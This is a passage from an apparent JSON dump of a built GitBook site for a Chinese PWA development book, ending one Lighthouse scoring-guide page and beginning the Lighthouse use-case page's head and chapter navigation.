;&#x901A;&#x8FC7;&#x67D0;&#x9879;&#x6307;&#x6807;&#x65F6;&#xFF0C;&#x9875;&#x9762;&#x7684;&#x8FD9;&#x9879;&#x6307;&#x6807;&#x5C06;&#x4E0D;&#x4F1A;&#x5F97;&#x5206;&#x3002;&#x4F8B;&#x5982;&#xFF0C;&#x5982;&#x679C;&#x9875;&#x9762;&#x4E2D;&#x7684;&#x4E00;&#x4E9B;&#x5143;&#x7D20;&#x6709;<code>&#x5C4F;&#x5E55;&#x9605;&#x8BFB;&#x5668;&#x53CB;&#x597D;</code>&#x7684;&#x547D;&#x540D;&#xFF0C;&#x800C;&#x5176;&#x4ED6;&#x7684;&#x5143;&#x7D20;&#x6CA1;&#x6709;&#xFF0C;&#x90A3;&#x4E48;&#x8FD9;&#x4E2A;&#x9875;&#x9762;&#x7684;  screenreader-friendly-names &#x6307;&#x6807;&#x9879;&#x5F97;&#x5206;&#x4E3A;0&#x3002;</p>\n<h3 id=\"&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;\"><a name=\"&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;\" class=\"plugin-anchor\" href=\"#&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;</h3>\n<p>&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;&#x7684;&#x5206;&#x6570;&#x533A;&#x95F4;&#x4E3A;0-100&#x3002;&#x5F71;&#x54CD;&#x8FD9;&#x9879;&#x8BC4;&#x5206;&#x7684;&#x6307;&#x6807;&#x9879;&#x7684;&#x6743;&#x91CD;&#x90FD;&#x662F;&#x76F8;&#x540C;&#x7684;&#x3002;&#x5982;&#x679C;&#x6211;&#x4EEC;&#x60F3;&#x8BA1;&#x7B97;&#x67D0;&#x4E2A;&#x6307;&#x6807;&#x9879;&#x5BF9;&#x603B;&#x4F53;&#x8BC4;&#x5206;&#x7684;&#x8D21;&#x732E;&#xFF0C;&#x7528;&#x6307;&#x6807;&#x9879;&#x7684;&#x6570;&#x91CF;&#x9664;&#x4EE5;100&#x5373;&#x53EF;&#x3002;&#x6307;&#x6807;&#x9879;&#x548C;&#x6743;&#x91CD;&#x540C;&#x6837;&#x53EF;&#x4EE5;&#x53C2;&#x8003;&#x4E0A;&#x6587;&#x63D0;&#x4F9B;&#x7684;&#x8BC4;&#x5206;&#x8BE6;&#x60C5;&#x8868;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x7ED3;&#x5408;&#x6D4B;&#x8BC4;&#x7ED3;&#x679C;&#x4E00;&#x4E00;&#x8FDB;&#x884C;&#x4F18;&#x5316;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"1-lighthouse.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 1 使用 Lighthouse 测评 PWA\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"3-lighthouse-case.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 3 Lighthouse 使用案例\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"2 Lighthouse 评分指南\",\"level\":\"1.11.2\",\"depth\":2,\"next\":{\"title\":\"3 Lighthouse 使用案例\",\"level\":\"1.11.3\",\"depth\":2,\"path\":\"appendix01/3-lighthouse-case.md\",\"ref\":\"appendix01/3-lighthouse-case.md\",\"articles\":[]},\"previous\":{\"title\":\"1 使用 Lighthouse 测评 PWA\",\"level\":\"1.11.1\",\"depth\":2,\"path\":\"appendix01/1-lighthouse.md\",\"ref\":\"appendix01/1-lighthouse.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"appendix01/2-lighthouse-score-guide.md\",\"mtime\":\"2019-06-19T10:37:41.874Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/appendix01/3-lighthouse-case.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>3 Lighthouse 使用案例 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"../thanks.html\" />\n    \n    \n    <link rel=\"prev\" href=\"2-lighthouse-score-guide.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a 